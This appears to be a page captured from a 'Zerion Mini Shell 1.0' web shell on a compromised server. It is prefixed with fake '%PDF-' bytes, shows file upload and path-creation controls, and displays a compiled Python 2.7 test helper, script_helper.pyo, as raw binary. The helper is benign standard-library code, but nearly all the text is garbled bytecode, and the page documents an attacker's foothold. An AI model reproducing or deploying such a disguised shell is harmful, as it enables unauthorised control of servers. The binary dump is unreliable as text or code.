%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /usr/local/lib/python2.7/test/support/
Upload File :
Create Path :
Current File : //usr/local/lib/python2.7/test/support/script_helper.pyo

ó
Oêáac@s.ddlZddlZddlZddlZddlZddlZddlZddlZddlZyddl	Z	Wne
k
rnXddlmZd„Z
d„Zd„Zd„Zd„Zd„Zd	„Zejd
„ƒZd„Zd„Zdd
„Zdd„Zded„ZdS(iÿÿÿÿN(tstrip_python_stderrc	
Ostjg}|s"|jdƒn|j|ƒtjjƒ}|j|ƒtj	|dtj
dtj
dtj
d|ƒ}z|jƒ\}}Wdtjƒ|j
jƒ|jjƒX|j}t|ƒ}|rÚ|sè|r
|r
td||jddƒfƒ‚n|||fS(	Ns-Etstdintstdouttstderrtenvs-Process return code is %d, stderr follows:
%stasciitignore(tsyst
executabletappendtextendtostenvirontcopytupdatet
subprocesstPopentPIPEtcommunicatet_cleanupRtcloseRt
returncodeRtAssertionErrortdecode(	texpected_successtargstenv_varstcmd_lineRtptoutterrtrc((s6/usr/local/lib/python2.7/test/support/script_helper.pyt_assert_pythons*

	

	cOstt||ŽS(s£
    Assert that running the interpreter with `args` and optional environment
    variables `env_vars` is ok and return a (return code, stdout, stderr) tuple.
    (R tTrue(RR((s6/usr/local/lib/python2.7/test/support/script_helper.pytassert_python_ok2scOstt||ŽS(s£
    Assert that running the interpreter with `args` and optional environment
    variables `env_vars` fails and return a (return code, stdout, stderr) tuple.
    (R tFalse(RR((s6/usr/local/lib/python2.7/test/support/script_helper.pytassert_python_failure9sc
GsWtjdg}|j|ƒttjdƒ#}tj|d|dtjƒSWdQXdS(Ns-EtwRR(	RRR
topenRtdevnullRtcalltSTDOUT(RRR'((s6/usr/local/lib/python2.7/test/support/script_helper.pytpython_exit_code@s

c	OsGtjdg}|j|ƒtj|dtjdtjdtj|S(Ns-ERRR(RRR
RRRR)(RtkwargsR((s6/usr/local/lib/python2.7/test/support/script_helper.pytspawn_pythonGs

cCsA|jjƒ|jjƒ}|jjƒ|jƒtjƒ|S(N(RRRtreadtwaitRR(Rtdata((s6/usr/local/lib/python2.7/test/support/script_helper.pytkill_pythonNs



cOs.td||Ž}t|ƒ}|jƒ|fS(Ns-O(R,R0R.(RR+Rtstdout_data((s6/usr/local/lib/python2.7/test/support/script_helper.pyt
run_pythonXsccs<tjƒ}tjj|ƒ}z	|VWdtj|ƒXdS(N(ttempfiletmkdtempRtpathtrealpathtshutiltrmtree(tdirname((s6/usr/local/lib/python2.7/test/support/script_helper.pyttemp_diras
	cCsP|tjd}tjj||ƒ}t|dƒ}|j|ƒ|jƒ|S(NtpyR%(RtextsepR5tjoinR&twriteR(t
script_dirtscript_basenametsourcetscript_filenametscript_nametscript_file((s6/usr/local/lib/python2.7/test/support/script_helper.pytmake_scriptjs

cCs!tj|dtƒ|d}|S(Ntdoraiseto(t
py_compiletcompileR!(RCt
compiled_name((s6/usr/local/lib/python2.7/test/support/script_helper.pytcompile_scriptrs
cCsŒ|tjd}tjj||ƒ}tj|dƒ}|dkrYtjj|ƒ}n|j||ƒ|j	ƒ|tjj||ƒfS(NtzipR%(
RR<R5R=tzipfiletZipFiletNonetbasenameR>R(tzip_dirtzip_basenameRCtname_in_ziptzip_filenametzip_nametzip_file((s6/usr/local/lib/python2.7/test/support/script_helper.pytmake_zip_scriptzs
tcCs!tj|ƒt|d|ƒdS(Nt__init__(RtmkdirRE(tpkg_dirtinit_source((s6/usr/local/lib/python2.7/test/support/script_helper.pytmake_pkg‰s
icCs§g}t|ddƒ}|j|ƒtjj|ƒ}	t|||ƒ}
|j|
ƒ|rŠt|ƒ}t|
ƒ}
|j||
fƒngtd|dƒD]}tjj	|g|ƒ^qž}tjj	|dtjj|
ƒƒ}
|tj
d}tjj	||ƒ}tj|dƒ}x3|D]+}tjj	||	ƒ}|j
||ƒq'W|j
|
|
ƒ|jƒx|D]}tj|ƒqwW|tjj	||
ƒfS(NRYRXiiÿÿÿÿRLR%(RER	RR5RPRKR
trangetsepR=R<RMRNR>Rtunlink(RQRRtpkg_nameR@RAtdepthtcompiledR`t	init_namet
init_basenameRCtit	pkg_namestscript_name_in_zipRTRURVtnametinit_name_in_zip((s6/usr/local/lib/python2.7/test/support/script_helper.pytmake_zip_pkgs.

9%


(RRtretos.pathR3RRHt
contextlibR7RMtImportErrorttest.supportRR R"R$R*R,R0R2tcontextmanagerR:RERKRORWR]R#Rk(((s6/usr/local/lib/python2.7/test/support/script_helper.pyt<module>s4
						
					

Zerion Mini Shell 1.0